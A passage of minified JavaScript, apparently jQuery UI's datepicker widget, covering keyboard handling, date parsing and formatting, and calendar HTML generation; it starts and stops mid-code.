35:(t.ctrlKey||t.metaKey)&&e.datepicker._clearDate(t.target),a=t.ctrlKey||t.metaKey;break;case 36:(t.ctrlKey||t.metaKey)&&e.datepicker._gotoToday(t.target),a=t.ctrlKey||t.metaKey;break;case 37:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,r?1:-1,\"D\"),a=t.ctrlKey||t.metaKey,t.originalEvent.altKey&&e.datepicker._adjustDate(t.target,t.ctrlKey?-e.datepicker._get(o,\"stepBigMonths\"):-e.datepicker._get(o,\"stepMonths\"),\"M\");break;case 38:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,-7,\"D\"),a=t.ctrlKey||t.metaKey;break;case 39:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,r?-1:1,\"D\"),a=t.ctrlKey||t.metaKey,t.originalEvent.altKey&&e.datepicker._adjustDate(t.target,t.ctrlKey?+e.datepicker._get(o,\"stepBigMonths\"):+e.datepicker._get(o,\"stepMonths\"),\"M\");break;case 40:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,7,\"D\"),a=t.ctrlKey||t.metaKey;break;default:a=!1}else 36===t.keyCode&&t.ctrlKey?e.datepicker._showDatepicker(this):a=!1;a&&(t.preventDefault(),t.stopPropagation())},_doKeyPress:function(t){var i,s,n=e.datepicker._getInst(t.target);return e.datepicker._get(n,\"constrainInput\")?(i=e.datepicker._possibleChars(e.datepicker._get(n,\"dateFormat\")),s=String.fromCharCode(null==t.charCode?t.keyCode:t.charCode),t.ctrlKey||t.metaKey||\" \">s||!i||i.indexOf(s)>-1):void 0},_doKeyUp:function(t){var i,s=e.datepicker._getInst(t.target);if(s.input.val()!==s.lastVal)try{i=e.datepicker.parseDate(e.datepicker._get(s,\"dateFormat\"),s.input?s.input.val():null,e.datepicker._getFormatConfig(s)),i&&(e.datepicker._setDateFromField(s),e.datepicker._updateAlternate(s),e.datepicker._updateDatepicker(s))}catch(n){}return!0},_showDatepicker:function(t){if(t=t.target||t,\"input\"!==t.nodeName.toLowerCase()&&(t=e(\"input\",t.parentNode)[0]),!e.datepicker._isDisabledDatepicker(t)&&e.datepicker._lastInput!==t){var i,n,o,a,h,l,u;i=e.datepicker._getInst(t),e.datepicker._curInst&&e.datepicker._curInst!==i&&(e.datepicker._curInst.dpDiv.stop(!0,!0),i&&e.datepicker._datepickerShowing&&e.datepicker._hideDatepicker(e.datepicker._curInst.input[0])),n=e.datepicker._get(i,\"beforeShow\"),o=n?n.apply(t,[t,i]):{},o!==!1&&(r(i.settings,o),i.lastVal=null,e.datepicker._lastInput=t,e.datepicker._setDateFromField(i),e.datepicker._inDialog&&(t.value=\"\"),e.datepicker._pos||(e.datepicker._pos=e.datepicker._findPos(t),e.datepicker._pos[1]+=t.offsetHeight),a=!1,e(t).parents().each(function(){return a|=\"fixed\"===e(this).css(\"position\"),!a}),h={left:e.datepicker._pos[0],top:e.datepicker._pos[1]},e.datepicker._pos=null,i.dpDiv.empty(),i.dpDiv.css({position:\"absolute\",display:\"block\",top:\"-1000px\"}),e.datepicker._updateDatepicker(i),h=e.datepicker._checkOffset(i,h,a),i.dpDiv.css({position:e.datepicker._inDialog&&e.blockUI?\"static\":a?\"fixed\":\"absolute\",display:\"none\",left:h.left+\"px\",top:h.top+\"px\"}),i.inline||(l=e.datepicker._get(i,\"showAnim\"),u=e.datepicker._get(i,\"duration\"),i.dpDiv.css(\"z-index\",s(e(t))+1),e.datepicker._datepickerShowing=!0,e.effects&&e.effects.effect[l]?i.dpDiv.show(l,e.datepicker._get(i,\"showOptions\"),u):i.dpDiv[l||\"show\"](l?u:null),e.datepicker._shouldFocusInput(i)&&i.input.focus(),e.datepicker._curInst=i))}},_updateDatepicker:function(t){this.maxRows=4,v=t,t.dpDiv.empty().append(this._generateHTML(t)),this._attachHandlers(t);var i,s=this._getNumberOfMonths(t),n=s[1],o=17,r=t.dpDiv.find(\".\"+this._dayOverClass+\" a\");r.length>0&&a.apply(r.get(0)),t.dpDiv.removeClass(\"ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4\").width(\"\"),n>1&&t.dpDiv.addClass(\"ui-datepicker-multi-\"+n).css(\"width\",o*n+\"em\"),t.dpDiv[(1!==s[0]||1!==s[1]?\"add\":\"remove\")+\"Class\"](\"ui-datepicker-multi\"),t.dpDiv[(this._get(t,\"isRTL\")?\"add\":\"remove\")+\"Class\"](\"ui-datepicker-rtl\"),t===e.datepicker._curInst&&e.datepicker._datepickerShowing&&e.datepicker._shouldFocusInput(t)&&t.input.focus(),t.yearshtml&&(i=t.yearshtml,setTimeout(function(){i===t.yearshtml&&t.yearshtml&&t.dpDiv.find(\"select.ui-datepicker-year:first\").replaceWith(t.yearshtml),i=t.yearshtml=null},0))},_shouldFocusInput:function(e){return e.input&&e.input.is(\":visible\")&&!e.input.is(\":disabled\")&&!e.input.is(\":focus\")},_checkOffset:function(t,i,s){var n=t.dpDiv.outerWidth(),o=t.dpDiv.outerHeight(),a=t.input?t.input.outerWidth():0,r=t.input?t.input.outerHeight():0,h=document.documentElement.clientWidth+(s?0:e(document).scrollLeft()),l=document.documentElement.clientHeight+(s?0:e(document).scrollTop());return i.left-=this._get(t,\"isRTL\")?n-a:0,i.left-=s&&i.left===t.input.offset().left?e(document).scrollLeft():0,i.top-=s&&i.top===t.input.offset().top+r?e(document).scrollTop():0,i.left-=Math.min(i.left,i.left+n>h&&h>n?Math.abs(i.left+n-h):0),i.top-=Math.min(i.top,i.top+o>l&&l>o?Math.abs(o+r):0),i},_findPos:function(t){for(var i,s=this._getInst(t),n=this._get(s,\"isRTL\");t&&(\"hidden\"===t.type||1!==t.nodeType||e.expr.filters.hidden(t));)t=t[n?\"previousSibling\":\"nextSibling\"];return i=e(t).offset(),[i.left,i.top]},_hideDatepicker:function(t){var i,s,n,o,a=this._curInst;!a||t&&a!==e.data(t,\"datepicker\")||this._datepickerShowing&&(i=this._get(a,\"showAnim\"),s=this._get(a,\"duration\"),n=function(){e.datepicker._tidyDialog(a)},e.effects&&(e.effects.effect[i]||e.effects[i])?a.dpDiv.hide(i,e.datepicker._get(a,\"showOptions\"),s,n):a.dpDiv[\"slideDown\"===i?\"slideUp\":\"fadeIn\"===i?\"fadeOut\":\"hide\"](i?s:null,n),i||n(),this._datepickerShowing=!1,o=this._get(a,\"onClose\"),o&&o.apply(a.input?a.input[0]:null,[a.input?a.input.val():\"\",a]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:\"absolute\",left:\"0\",top:\"-100px\"}),e.blockUI&&(e.unblockUI(),e(\"body\").append(this.dpDiv))),this._inDialog=!1)},_tidyDialog:function(e){e.dpDiv.removeClass(this._dialogClass).unbind(\".ui-datepicker-calendar\")},_checkExternalClick:function(t){if(e.datepicker._curInst){var i=e(t.target),s=e.datepicker._getInst(i[0]);(i[0].id!==e.datepicker._mainDivId&&0===i.parents(\"#\"+e.datepicker._mainDivId).length&&!i.hasClass(e.datepicker.markerClassName)&&!i.closest(\".\"+e.datepicker._triggerClass).length&&e.datepicker._datepickerShowing&&(!e.datepicker._inDialog||!e.blockUI)||i.hasClass(e.datepicker.markerClassName)&&e.datepicker._curInst!==s)&&e.datepicker._hideDatepicker()}},_adjustDate:function(t,i,s){var n=e(t),o=this._getInst(n[0]);this._isDisabledDatepicker(n[0])||(this._adjustInstDate(o,i+(\"M\"===s?this._get(o,\"showCurrentAtPos\"):0),s),this._updateDatepicker(o))},_gotoToday:function(t){var i,s=e(t),n=this._getInst(s[0]);this._get(n,\"gotoCurrent\")&&n.currentDay?(n.selectedDay=n.currentDay,n.drawMonth=n.selectedMonth=n.currentMonth,n.drawYear=n.selectedYear=n.currentYear):(i=new Date,n.selectedDay=i.getDate(),n.drawMonth=n.selectedMonth=i.getMonth(),n.drawYear=n.selectedYear=i.getFullYear()),this._notifyChange(n),this._adjustDate(s)},_selectMonthYear:function(t,i,s){var n=e(t),o=this._getInst(n[0]);o[\"selected\"+(\"M\"===s?\"Month\":\"Year\")]=o[\"draw\"+(\"M\"===s?\"Month\":\"Year\")]=parseInt(i.options[i.selectedIndex].value,10),this._notifyChange(o),this._adjustDate(n)},_selectDay:function(t,i,s,n){var o,a=e(t);e(n).hasClass(this._unselectableClass)||this._isDisabledDatepicker(a[0])||(o=this._getInst(a[0]),o.selectedDay=o.currentDay=e(\"a\",n).html(),o.selectedMonth=o.currentMonth=i,o.selectedYear=o.currentYear=s,this._selectDate(t,this._formatDate(o,o.currentDay,o.currentMonth,o.currentYear)))},_clearDate:function(t){var i=e(t);this._selectDate(i,\"\")},_selectDate:function(t,i){var s,n=e(t),o=this._getInst(n[0]);i=null!=i?i:this._formatDate(o),o.input&&o.input.val(i),this._updateAlternate(o),s=this._get(o,\"onSelect\"),s?s.apply(o.input?o.input[0]:null,[i,o]):o.input&&o.input.trigger(\"change\"),o.inline?this._updateDatepicker(o):(this._hideDatepicker(),this._lastInput=o.input[0],\"object\"!=typeof o.input[0]&&o.input.focus(),this._lastInput=null)},_updateAlternate:function(t){var i,s,n,o=this._get(t,\"altField\");o&&(i=this._get(t,\"altFormat\")||this._get(t,\"dateFormat\"),s=this._getDate(t),n=this.formatDate(i,s,this._getFormatConfig(t)),e(o).each(function(){e(this).val(n)}))},noWeekends:function(e){var t=e.getDay();return[t>0&&6>t,\"\"]},iso8601Week:function(e){var t,i=new Date(e.getTime());return i.setDate(i.getDate()+4-(i.getDay()||7)),t=i.getTime(),i.setMonth(0),i.setDate(1),Math.floor(Math.round((t-i)/864e5)/7)+1},parseDate:function(t,i,s){if(null==t||null==i)throw\"Invalid arguments\";if(i=\"object\"==typeof i?\"\"+i:i+\"\",\"\"===i)return null;var n,o,a,r,h=0,l=(s?s.shortYearCutoff:null)||this._defaults.shortYearCutoff,u=\"string\"!=typeof l?l:(new Date).getFullYear()%100+parseInt(l,10),c=(s?s.dayNamesShort:null)||this._defaults.dayNamesShort,d=(s?s.dayNames:null)||this._defaults.dayNames,p=(s?s.monthNamesShort:null)||this._defaults.monthNamesShort,f=(s?s.monthNames:null)||this._defaults.monthNames,m=-1,g=-1,v=-1,_=-1,b=!1,y=function(e){var i=t.length>n+1&&t.charAt(n+1)===e;return i&&n++,i},x=function(e){var t=y(e),s=\"@\"===e?14:\"!\"===e?20:\"y\"===e&&t?4:\"o\"===e?3:2,n=\"y\"===e?s:1,o=RegExp(\"^\\\\d{\"+n+\",\"+s+\"}\"),a=i.substring(h).match(o);if(!a)throw\"Missing number at position \"+h;return h+=a[0].length,parseInt(a[0],10)},w=function(t,s,n){var o=-1,a=e.map(y(t)?n:s,function(e,t){return[[t,e]]}).sort(function(e,t){return-(e[1].length-t[1].length)});if(e.each(a,function(e,t){var s=t[1];return i.substr(h,s.length).toLowerCase()===s.toLowerCase()?(o=t[0],h+=s.length,!1):void 0}),-1!==o)return o+1;throw\"Unknown name at position \"+h},k=function(){if(i.charAt(h)!==t.charAt(n))throw\"Unexpected literal at position \"+h;h++};for(n=0;t.length>n;n++)if(b)\"'\"!==t.charAt(n)||y(\"'\")?k():b=!1;else switch(t.charAt(n)){case\"d\":v=x(\"d\");break;case\"D\":w(\"D\",c,d);break;case\"o\":_=x(\"o\");break;case\"m\":g=x(\"m\");break;case\"M\":g=w(\"M\",p,f);break;case\"y\":m=x(\"y\");break;case\"@\":r=new Date(x(\"@\")),m=r.getFullYear(),g=r.getMonth()+1,v=r.getDate();break;case\"!\":r=new Date((x(\"!\")-this._ticksTo1970)/1e4),m=r.getFullYear(),g=r.getMonth()+1,v=r.getDate();break;case\"'\":y(\"'\")?k():b=!0;break;default:k()}if(i.length>h&&(a=i.substr(h),!/^\\s+/.test(a)))throw\"Extra/unparsed characters found in date: \"+a;if(-1===m?m=(new Date).getFullYear():100>m&&(m+=(new Date).getFullYear()-(new Date).getFullYear()%100+(u>=m?0:-100)),_>-1)for(g=1,v=_;;){if(o=this._getDaysInMonth(m,g-1),o>=v)break;g++,v-=o}if(r=this._daylightSavingAdjust(new Date(m,g-1,v)),r.getFullYear()!==m||r.getMonth()+1!==g||r.getDate()!==v)throw\"Invalid date\";return r},ATOM:\"yy-mm-dd\",COOKIE:\"D, dd M yy\",ISO_8601:\"yy-mm-dd\",RFC_822:\"D, d M y\",RFC_850:\"DD, dd-M-y\",RFC_1036:\"D, d M y\",RFC_1123:\"D, d M yy\",RFC_2822:\"D, d M yy\",RSS:\"D, d M y\",TICKS:\"!\",TIMESTAMP:\"@\",W3C:\"yy-mm-dd\",_ticksTo1970:1e7*60*60*24*(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925)),formatDate:function(e,t,i){if(!t)return\"\";var s,n=(i?i.dayNamesShort:null)||this._defaults.dayNamesShort,o=(i?i.dayNames:null)||this._defaults.dayNames,a=(i?i.monthNamesShort:null)||this._defaults.monthNamesShort,r=(i?i.monthNames:null)||this._defaults.monthNames,h=function(t){var i=e.length>s+1&&e.charAt(s+1)===t;return i&&s++,i},l=function(e,t,i){var s=\"\"+t;if(h(e))for(;i>s.length;)s=\"0\"+s;return s},u=function(e,t,i,s){return h(e)?s[t]:i[t]},c=\"\",d=!1;if(t)for(s=0;e.length>s;s++)if(d)\"'\"!==e.charAt(s)||h(\"'\")?c+=e.charAt(s):d=!1;else switch(e.charAt(s)){case\"d\":c+=l(\"d\",t.getDate(),2);break;case\"D\":c+=u(\"D\",t.getDay(),n,o);break;case\"o\":c+=l(\"o\",Math.round((new Date(t.getFullYear(),t.getMonth(),t.getDate()).getTime()-new Date(t.getFullYear(),0,0).getTime())/864e5),3);break;case\"m\":c+=l(\"m\",t.getMonth()+1,2);break;case\"M\":c+=u(\"M\",t.getMonth(),a,r);break;case\"y\":c+=h(\"y\")?t.getFullYear():(10>t.getYear()%100?\"0\":\"\")+t.getYear()%100;break;case\"@\":c+=t.getTime();break;case\"!\":c+=1e4*t.getTime()+this._ticksTo1970;break;case\"'\":h(\"'\")?c+=\"'\":d=!0;break;default:c+=e.charAt(s)}return c},_possibleChars:function(e){var t,i=\"\",s=!1,n=function(i){var s=e.length>t+1&&e.charAt(t+1)===i;return s&&t++,s};for(t=0;e.length>t;t++)if(s)\"'\"!==e.charAt(t)||n(\"'\")?i+=e.charAt(t):s=!1;else switch(e.charAt(t)){case\"d\":case\"m\":case\"y\":case\"@\":i+=\"0123456789\";break;case\"D\":case\"M\":return null;case\"'\":n(\"'\")?i+=\"'\":s=!0;break;default:i+=e.charAt(t)}return i},_get:function(e,t){return void 0!==e.settings[t]?e.settings[t]:this._defaults[t]},_setDateFromField:function(e,t){if(e.input.val()!==e.lastVal){var i=this._get(e,\"dateFormat\"),s=e.lastVal=e.input?e.input.val():null,n=this._getDefaultDate(e),o=n,a=this._getFormatConfig(e);try{o=this.parseDate(i,s,a)||n}catch(r){s=t?\"\":s}e.selectedDay=o.getDate(),e.drawMonth=e.selectedMonth=o.getMonth(),e.drawYear=e.selectedYear=o.getFullYear(),e.currentDay=s?o.getDate():0,e.currentMonth=s?o.getMonth():0,e.currentYear=s?o.getFullYear():0,this._adjustInstDate(e)}},_getDefaultDate:function(e){return this._restrictMinMax(e,this._determineDate(e,this._get(e,\"defaultDate\"),new Date))},_determineDate:function(t,i,s){var n=function(e){var t=new Date;return t.setDate(t.getDate()+e),t},o=function(i){try{return e.datepicker.parseDate(e.datepicker._get(t,\"dateFormat\"),i,e.datepicker._getFormatConfig(t))}catch(s){}for(var n=(i.toLowerCase().match(/^c/)?e.datepicker._getDate(t):null)||new Date,o=n.getFullYear(),a=n.getMonth(),r=n.getDate(),h=/([+\\-]?[0-9]+)\\s*(d|D|w|W|m|M|y|Y)?/g,l=h.exec(i);l;){switch(l[2]||\"d\"){case\"d\":case\"D\":r+=parseInt(l[1],10);break;case\"w\":case\"W\":r+=7*parseInt(l[1],10);break;case\"m\":case\"M\":a+=parseInt(l[1],10),r=Math.min(r,e.datepicker._getDaysInMonth(o,a));break;case\"y\":case\"Y\":o+=parseInt(l[1],10),r=Math.min(r,e.datepicker._getDaysInMonth(o,a))}l=h.exec(i)}return new Date(o,a,r)},a=null==i||\"\"===i?s:\"string\"==typeof i?o(i):\"number\"==typeof i?isNaN(i)?s:n(i):new Date(i.getTime());return a=a&&\"Invalid Date\"==\"\"+a?s:a,a&&(a.setHours(0),a.setMinutes(0),a.setSeconds(0),a.setMilliseconds(0)),this._daylightSavingAdjust(a)},_daylightSavingAdjust:function(e){return e?(e.setHours(e.getHours()>12?e.getHours()+2:0),e):null},_setDate:function(e,t,i){var s=!t,n=e.selectedMonth,o=e.selectedYear,a=this._restrictMinMax(e,this._determineDate(e,t,new Date));e.selectedDay=e.currentDay=a.getDate(),e.drawMonth=e.selectedMonth=e.currentMonth=a.getMonth(),e.drawYear=e.selectedYear=e.currentYear=a.getFullYear(),n===e.selectedMonth&&o===e.selectedYear||i||this._notifyChange(e),this._adjustInstDate(e),e.input&&e.input.val(s?\"\":this._formatDate(e))},_getDate:function(e){var t=!e.currentYear||e.input&&\"\"===e.input.val()?null:this._daylightSavingAdjust(new Date(e.currentYear,e.currentMonth,e.currentDay));return t},_attachHandlers:function(t){var i=this._get(t,\"stepMonths\"),s=\"#\"+t.id.replace(/\\\\\\\\/g,\"\\\\\");t.dpDiv.find(\"[data-handler]\").map(function(){var t={prev:function(){e.datepicker._adjustDate(s,-i,\"M\")},next:function(){e.datepicker._adjustDate(s,+i,\"M\")},hide:function(){e.datepicker._hideDatepicker()},today:function(){e.datepicker._gotoToday(s)},selectDay:function(){return e.datepicker._selectDay(s,+this.getAttribute(\"data-month\"),+this.getAttribute(\"data-year\"),this),!1},selectMonth:function(){return e.datepicker._selectMonthYear(s,this,\"M\"),!1},selectYear:function(){return e.datepicker._selectMonthYear(s,this,\"Y\"),!1}};e(this).bind(this.getAttribute(\"data-event\"),t[this.getAttribute(\"data-handler\")])})},_generateHTML:function(e){var t,i,s,n,o,a,r,h,l,u,c,d,p,f,m,g,v,_,b,y,x,w,k,T,D,S,C,M,N,P,I,A,z,H,E,F,W,O,j,L=new Date,R=this._daylightSavingAdjust(new Date(L.getFullYear(),L.getMonth(),L.getDate())),Y=this._get(e,\"isRTL\"),B=this._get(e,\"showButtonPanel\"),J=this._get(e,\"hideIfNoPrevNext\"),q=this._get(e,\"navigationAsDateFormat\"),K=this._getNumberOfMonths(e),V=this._get(e,\"showCurrentAtPos\"),U=this._get(e,\"stepMonths\"),Q=1!==K[0]||1!==K[1],G=this._daylightSavingAdjust(e.currentDay?new Date(e.currentYear,e.currentMonth,e.currentDay):new Date(9999,9,9)),X=this._getMinMaxDate(e,\"min\"),$=this._getMinMaxDate(e,\"max\"),Z=e.drawMonth-V,et=e.drawYear;if(0>Z&&(Z+=12,et--),$)for(t=this._daylightSavingAdjust(new Date($.getFullYear(),$.getMonth()-K[0]*K[1]+1,$.getDate())),t=X&&X>t?X:t;this._daylightSavingAdjust(new Date(et,Z,1))>t;)Z--,0>Z&&(Z=11,et--);for(e.drawMonth=Z,e.drawYear=et,i=this._get(e,\"prevText\"),i=q?this.formatDate(i,this._daylightSavingAdjust(new Date(et,Z-U,1)),this._getFormatConfig(e)):i,s=this._canAdjustMonth(e,-1,et,Z)?\"<a class='ui-datepicker-prev ui-corner-all' data-handler='prev' data-event='click' title='\"+i+\"'><span class='ui-icon ui-icon-circle-triangle-\"+(Y?\"e\":\"w\")+\"'>\"+i+\"</span></a>\":J?\"\":\"<a class='ui-datepicker-prev ui-corner-all ui-state-disabled' title='\"+i+\"'><span class='ui-icon ui-icon-circle-triangle-\"+(Y?\"e\":\"w\")+\"'>\"+i+\"</span></a>\",n=this._get(e,\"nextText\"),n=q?this.formatDate(n,this._daylightSavingAdjust(new Date(et,Z+U,1)),this._getFormatConfig(e)):n,o=this._canAdjustMonth(e,1,et,Z)?\"<a class='ui-datepicker-next ui-corner-all' data-handler='next' data-event='click' title='\"+n+\"'><span class='ui-icon ui-icon-circle-triangle-\"+(Y?\"w\":\"e\")+\"'>\"+n+\"</span></a>\":J?\"\":\"<a class='ui-datepicker-next ui-corner-all ui-state-disabled' title='\"+n+\"'><span class='ui-icon ui-icon-circle-triangle-\"+(Y?\"w\":\"e\")+\"'>\"+n+\"</span></a>\",a=this._get(e,\"currentText\"),r=this._get(e,\"gotoCurrent\")&&e.currentDay?G:R,a=q?this.formatDate(a,r,this._getFormatConfig(e)):a,h=e.inline?\"\":\"<button type='button' class='ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all' data-handler='hide' data-event='click'>\"+this._get(e,\"closeText\")+\"</button>\",l=B?\"<div class='ui-datepicker-buttonpane ui-widget-content'>\"+(Y?h:\"\")+(this._isInRange(e,r)?\"<button type='button' class='ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all' data-handler='today' data-event='click'>\"+a+\"</button>\":\"\")+(Y?\"\":h)+\"</div>\":\"\",u=parseInt(this._get(e,\"firstDay\"),10),u=isNaN(u)?0:u,c=this._get(e,\"showWeek\"),d=this._get(e,\"dayNames\"),p=this._get(e,\"dayNamesMin\"),f=this._get(e,\"monthNames\"),m=this._get(e,\"monthNamesShort\"),g=this._get(e,\"beforeShowDay\"),v=this._get(e,\"showOtherMonths\"),_=this._get(e,\"selectOtherMonths\"),b=this._getDefaultDate(e),y=\"\",w=0;K[0]>w;w++){for(k=\"\",this.maxRows=4,T=0;K[1]>T;T++){if(D=this._daylightSavingAdjust(new Date(et,Z,e.selectedDay)),S=\" ui-corner-all\",C=\"\",Q){if(C+=\"<div class='ui-datepicker-group\",K[1]>1)switch(T){case 0:C+=\" ui-datepicker-group-first\",S=\" ui-corner-\"+(Y?\"right\":\"left\");break;case K[1]-1:C+=\" ui-datepicker-group-last\",S=\" ui-corner-\"+(Y?\"left\":\"right\");break;default:C+=\" ui-datepicker-group-middle\",S=\"\"}C+=\"'>\"}for(C+=\"<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix\"+S+\"'>\"+(/all|left/.test(S)&&0===w?Y?o:s:\"\")+(/all|right/.test(S)&&0===w?Y?s:o:\"\")+this._generateMonthYearHeader(e,Z,et,X,$,w>0||T>0,f,m)+\"</div><table class='ui-datepicker-calendar'><thead>\"+\"<tr>\",M=c?\"<th class='ui-datepicker-week-col'>\"+this._get(e,\"weekHeader\")+\"</th>\":\"\",x=0;7>x;x++)N=(x+u)%7,M+=\"<th scope='col'\"+((x+u+6)%7>=5?\" class='ui-datepicker-week-end'\":\"\")+\">\"+\"<span title='\"+d[N]+\"'>\"+p[N]+\"</span></th>\";for(C+=M+\"</tr></thead><tbody>\",P=this._getDaysInMonth(et,Z),et===e.selectedYear&&Z===e.selectedMonth&&(e.selectedDay=Math.min(e.selectedDay,P)),I=(this._getFirstDayOfMonth(et,Z)-u+7)%7,A=Math.ceil((I+P)/7),z=Q?this.maxRows>A?this.maxRows:A:A,this.maxRows=z,H=this._daylightSavingAdjust(new Date(et,Z,1-I)),E=0;z>E;E++){for(C+=\"<tr>\",F=c?\"<td class='ui-datepicker-week-col'>\"+this._get(e,\"calculateWeek\")(H)+\"</td>\":\"\",x=0;7>x;x++)W=g?g.apply(e.input?e.input[0]:null,[H]):[!0,\"\"],O=H.getMonth()!==Z,j=O&&!_||!W[0]||X&&X>H||$&&H>$,F+=\"<td class='\"+((x+u+6)%7>=5?\" ui-datepicker-week-end\":\"\")+(O?\" ui-datepicker-other-month\":\"\")+(H.getTime()===D.getTime()&&Z===e.selectedMonth&&e._keyEvent||b.getTime()===H.getTime()&&b.getTime()===D.getTime()?\" \"+this._dayOverClass:\"\")+(j?\" \"+this._unselectableClass+\" ui-state-disabled\":\"\")+(O&&!v?\"\":\" \"+W[1]+(H.getTime()===G.getTime()?\" \"+this._currentClass:\"\")+(H.getTime()===R.getTime()?\" ui-datepicker-today\":\"\"))+\"'\"+(O&&!v||!W[2]?\"\":\" title='\"+W[2].replace(/'/g,\"&#39;\")+\"'\")+(j?\"\":\" data-handler='selectDay' data-event='click' data-month='\"+H.getMonth()+\"' data-year='\"+H.getFullYear()+\"'\")+\">\"+(O&&!v?\"&#xa0;\":j?\"<span class='ui-state-default'>\"+H.getDate()+\"</span>\":\"<a class='ui-state-default\"+(H.getTime()===R.getTime()?\" ui-state-highlight\":\"\")+(H.getTime()===G.getTime()?\" ui-state-active\":\"\")+(O?\" ui-priority-secondary\":\"\")+\"' href='#'>\"+H.getDate()+\"</a>\")+\"</td>\",H.setDate(H.getDate()+1),H=this._daylightSavingAdjust(H);C+=F+\"</tr>\"}Z++,Z>11&&(Z=0,et++),C+=\"</tbody></table>\"+(Q?\"</div>\"+(K[0]>0&&T===K[1]-1?\"<div class='ui-datepicker-row-break'></div>\":\"\"):\"\"),k+=C}y+=k}return y+=l,e._keyEvent=!1,y},_generateMonthYearHeader:function(e,t,i,s,n,o,a,r){var h,l,u,c,d,p,f,m,g=this._get(e,\"changeMonth\"),v=this._get(e,\"changeYear\"),_=this._get(e,\"showMonthAfterYear\"),b=\"<div class='ui-datepicker-title'>\",y=\"\";if(o||!g)y+=\"<span class='ui-datepicker-month'>\"+a[t]+\"</span>\";else{for(h=s&&s.getFullYear()===i,l=n&&n.getFullYear()===i,y+=\"<select class='ui-datepicker-month' data-handler='selectMonth' data-event='change'>\",u=0;12>u;u++)(!h||u>=s.getMonth())&&(!l||n.getMonth()>=u)&&(y+=\"<option value='\"+u+\"'\"+(u===t?\" selected='selected'\":\"\")+\">\"+r[u]+\"</option>\");y+=\"</select>\"}if(_||(b+=y+(!o&&g&&v?\"\":\"&#xa0;\")),!e.yearshtml)if(e.yearshtml=\"\",o||!v)b+=\"<span class='ui-datepicker-year'>\"+i+\"</span>\";else{for(c=this._get(e,\"yearRange\").split(\":\"),d=(new Date).getFullYear(),p=function(e){var t=e.match(/c[+\\-].*/)?i+parseInt(e.substring(1),10):e.match(/[+\\-].*/)?d+parseInt(e,10):parseInt(e,10);return isNaN(t)?d:t},f=p(c[0]),m=Math.max(f,p(c[1]||\"\")),f=s?Math.max(f,s.getFullYear()):f,m=n?Math.min(m,n.getFullYear()):m,e.yearshtml+=\"<select class='ui-datepicker-year' data-handler='selectYear' data-event='change'>\";m>=f;f++)e.yearshtml+=\"<option value='\"+f+\"'\"+(f===i?\" selected='selected'\":\"\")+\">\"+f+\"</option>\";e.yearshtml+=\"</select>\",b+=e.yearshtml,e.yearshtml=null}return b+=this._get(e,\"yearSuffix\"),_&&(b+=(!o&&g&&v?\"\":\"&#xa0;\")+y),b+=\"</div>\"},_adjustInstDate:function(e,t,i){var s=e.drawYear+(\"Y\"===i?t:0),n=e.drawMonth+(\"M\"===i?t:0),o=Math.min(e.selectedDay,this._getDaysInMonth(s,n))+(\"D\"===i?t:0),a=this._restrictMinMax(e,this._daylightSavingAdjust(new Date(s,n,o)));e.selectedDay=a.getDate(),e.drawMonth=e.selectedMonth=a.getMonth(),e.drawYear=e.selectedYear=a.getFullYear(),(\"M\"===i||\"Y\"===i)&&this._notifyChange(e)},_restrictMinMax:function(e,t){var i=this._getMinMaxDate(e,\"min\"),s=this._getMinMaxDate(e,\"max\"),n=i&&i>t?i:t;return s&&n>s?s:n},_notifyChange:function(e){var t=this._get(e,\"onChangeMonthYear\");t&&t.apply(e.input?e.input[0]:null,[e.selectedYear,e.selectedMonth+1,e])},_getNumberOfMonths:function(e){var t=this._get(e,\"numberOfMonths\");return null==t?[1,1]:\"number\"==typeof t?[1,t]:t},_getMinMaxDate:function(e,t){return this._determineDate(e,this._get(e,t+\"Date\"),null)},_getDaysInMonth:function(e,t){return 32-this._daylightSavingAdjust(new Date(e,t,32)).getDate()},_getFirstDayOfMonth:function(e,t){return new Date(e,t,1).getDay()},_canAdjustMonth:function(e,t,i,s){var n=this._getNumberOfMonths(e),o=this._daylightSavingAdjust(new Date(i,s+(0>t?t:n[0]*n[1]),1));return 0>t&&o.setDate(this._getDaysInMonth(o.getFullYear(),o.getMonth())),this._isInRange(e,o)},_isInRange:function(e,t){var i,s,n=this._getMinMaxDate(e,\"min\"),o=this._getMinMaxDate(e,\"max\"),a=null,r=null,h=this._get(e,\"yearRange\");return h&&(i=h.split(\":\"),s=(new Date).getFullYear(),a=parseInt(i[0],10),r=parseInt(i[1],10),i[0].match(/[+\\-].*/)&&(a+=s),i[1].match(/[+\\-].*/)&&(r+=s)),(!n||t.getTime()>=n.getTime())&&(!o||t.getTime()<=o.getTime())&&(!a||t.getFullYear()>=a)&&(!r||r>=t.getFullYear())},_getFormatConfig:function(e){var t=this._get(e,\"shortYearCutoff\");return t=\"string\"!=typeof t?t:(new Date).getFullYear()%100+parseInt(t,10),{shortYearCutoff:t,dayNamesShort:this._get(e,\"dayNamesShort\"),dayNames:this._get(e,\"dayNames\"),monthNamesShort:this._get(e,\"monthNamesShort\"),monthNames:this._get(e,\"monthNames\")}},_formatDate:function(e,t,i,s){t||(e.currentDay=e.selectedDay,e.currentMonth=e.selectedMonth,e.currentYear=e.selectedYear);var n=t?\"object\"==typeof t?t:this._daylightSavingAdjust(new Date(s,i,t)):this._daylightSavingAdjust(new Date(e.currentYear,e.currentMonth,e.currentDay));return this.formatDate(this._get(e,\"dateFormat\"),n,this._getFormatConfig(e))}}),e.fn.datepicker=function(t){if(!this.length)return this;e.datepicker.initialized||(e(document).mousedown(e.datepicker._checkExternalClick),e.datepicker.initialized=!0),0===e(\"#\"+e.datepicker._mainDivId).length&&e(\"body\").append(e.datepicker.dpDiv);var i=Array.prototype.slice.call(arguments,1);return\"string\"!=typeof t||\"isDisabled\"!==t&&\"getDate\"!==t&&\"widget\"!==t?\"option\"===t&&2===arguments.length&&\"string\"==typeof arguments[1]?e.datepicker[\"_\"+t+\"Datepicker\"].apply(e.datepicker,[this[0]].concat(i)):this.each(function(){\"string\"==typeof 